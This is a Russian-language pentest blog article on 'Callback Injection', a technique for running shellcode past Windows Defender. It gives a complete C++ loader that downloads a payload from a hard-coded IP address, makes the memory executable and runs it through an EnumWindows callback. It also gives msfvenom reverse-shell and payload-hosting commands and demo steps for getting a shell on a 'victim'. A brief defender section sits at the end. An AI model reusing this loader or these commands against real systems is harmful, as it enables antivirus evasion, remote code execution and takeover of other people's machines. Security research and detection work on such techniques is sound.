Меня зовут Степанов Даниил, я пентестер в одной из крупных ИБ компаний России. В основном занимаюсь внутренним пентестом, исследованием обходных техник и автоматизацией эксплойтов. Сегодня разберем интересную технику Callback-Injection (где даже не будем обфусицировать шеллкод метасплоита 0_0 )
📌 Оглавление
Введение: проблема классической инъекции
Что такое Callback Injection
Почему это работает против Defender
Полный разбор техники (с кодом)
Демонстрация работы
Как защититься
Заключение
1. Введение
Представьте ситуацию: вы на пентесте, у вас есть шеллкод, но Windows Defender блокирует любой подозрительный вызов. CreateRemoteThread — детектится. QueueUserAPC — детектится. NtCreateThreadEx — детектится.
Что делать?
Ответ: не создавать потоки самому, а попросить Windows сделать это за вас.
Callback Injection - это техника, при которой вы «одалживаете» легитимный поток Windows, заставляя его выполнить ваш код через официальные callback-механизмы.
2. Что такое Callback Injection
Callback - это функция, которую вы передаёте Windows, чтобы система вызвала её при наступлении определённого события.
Windows содержит сотни callback-механизмов:
EnumWindows— для перебора оконEnumChildWindows— для дочерних оконEnumFonts— для перебора шрифтовSetTimer— для таймеровSetWinEventHook— для событийИ многие другие…
Идея в том, что вы:
Выделяете память с шеллкодом
Меняете защиту на исполняемую
Передаёте указатель на шеллкод в качестве
lParamВ callback'е просто выполняете его
Windows сама вызывает ваш код в своём потоке.
3. Почему это работает против Defender
Почему EnumWindows не детектится?
EnumWindows- легитимная функция, используемая тысячами приложенийCallback вызывается внутри
ntdll!ZwEnumerateWindows, что выглядит как обычный системный вызовEDR редко проверяют, что именно выполняется в callback'е
4. Полный разбор техники (с кодом)
Шаг 1: Скачиваем шеллкод с сервера
std::vector<BYTE> DownloadFile(const wchar_t* server, int port, const wchar_t* path) {
HINTERNET hSession = WinHttpOpen(L"WinHTTP/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnect = WinHttpConnect(hSession, server, port, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", path, NULL,
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
WinHttpReceiveResponse(hRequest, NULL);
std::vector<BYTE> result;
BYTE buffer[4096];
DWORD bytesRead;
while (WinHttpReadData(hRequest, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
result.insert(result.end(), buffer, buffer + bytesRead);
}
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return result;
}Шаг 2: Callback-функция
BOOL CALLBACK InjectionCallback(HWND hwnd, LPARAM lParam) {
// lParam содержит указатель на наш шеллкод
void (*shellcode)() = (void(*)())lParam;
// Выполняем!
shellcode();
// Останавливаем перебор после первого окна
return FALSE;
}Шаг 3: Основная логика
int main() {
// 1. Скачиваем шеллкод
auto shellcode = DownloadFile(L"31.44.0.193", 8080, L"/payload.bin");
// 2. Выделяем память
LPVOID pMemory = VirtualAlloc(NULL, shellcode.size(),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
// 3. Копируем
memcpy(pMemory, shellcode.data(), shellcode.size());
// 4. Меняем защиту на исполняемую
DWORD oldProtect;
VirtualProtect(pMemory, shellcode.size(), PAGE_EXECUTE_READWRITE, &oldProtect);
// 5. Запускаем через callback
EnumWindows((WNDENUMPROC)InjectionCallback, (LPARAM)pMemory);
// 6. Очистка (сюда не доходим, если шеллкод успешен)
VirtualFree(pMemory, 0, MEM_RELEASE);
return 0;
}Что происходит под капотом?
1. VirtualAlloc → выделяет память (PAGE_READWRITE)
2. memcpy → копирует шеллкод
3. VirtualProtect → меняет защиту на PAGE_EXECUTE_READWRITE
4. EnumWindows → перебирает все окна, вызывая ваш callback
5. Callback → выполняет шеллкод
6. Шеллкод → например, reverse shellВажный момент: Код выполняется в контексте потока, который вызвал EnumWindows. Это поток вашего процесса, поэтому шеллкод будет выполняться с теми же правами, что и ваша программа.
5. Демонстрация работы
Подготавливаем нашу тестируемую машину (включаем все что есть в защитнике)

2. Подготавливаем наш shellcode и поднимаем сервер на VPS
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ip LPORT=4444 -f raw -o shellcode.bin
python3 -m http.server 8080
3. Меняем переменные в коде

Если для тестирования будете использовать мой код то надо изменить эти значения на ваши
4. Запускаем exploit/multi/handler для получения шелла

5. Запускаем на жертве наш код и получаем шелл!

6. Как защититься
Для защитников:
Мониторить вызовы
VirtualProtectс изменением защиты наPAGE_EXECUTE_READWRITEАнализировать callback-функции — проверять, не указывает ли
lParamна исполняемую памятьИспользовать EDR с поведенческим анализом — CrowdStrike и Carbon Black детектят эту технику на поведенческом уровне
Включить контроль приложений (WDAC/AppLocker)
7. Заключение
Callback Injection - это не новая техника, но она до сих пор работает на многих системах.
Почему я делюсь этим?
Потому что понимание методов атак - первый шаг к их предотвращению. Windows Defender отлично защищает от "школьных" методов, но против продвинутых техник он всё ещё уязвим.
Что дальше?
P.S. Полный код с комментариями я выложил на GitHub (https://github.com/NewComrade12211/callbackinjection/blob/main/callbackinjection.cpp).
В следующей статье я расскажу о расширении техники - использовании других callback-функций (EnumChildWindows, EnumFonts, EnumPrinters). А также покажу, как обфусцировать шеллкод, чтобы обойти даже поведенческий анализ.Подписывайтесь на телеграм-канал, чтобы не пропустить https://t.me/c2signals.

























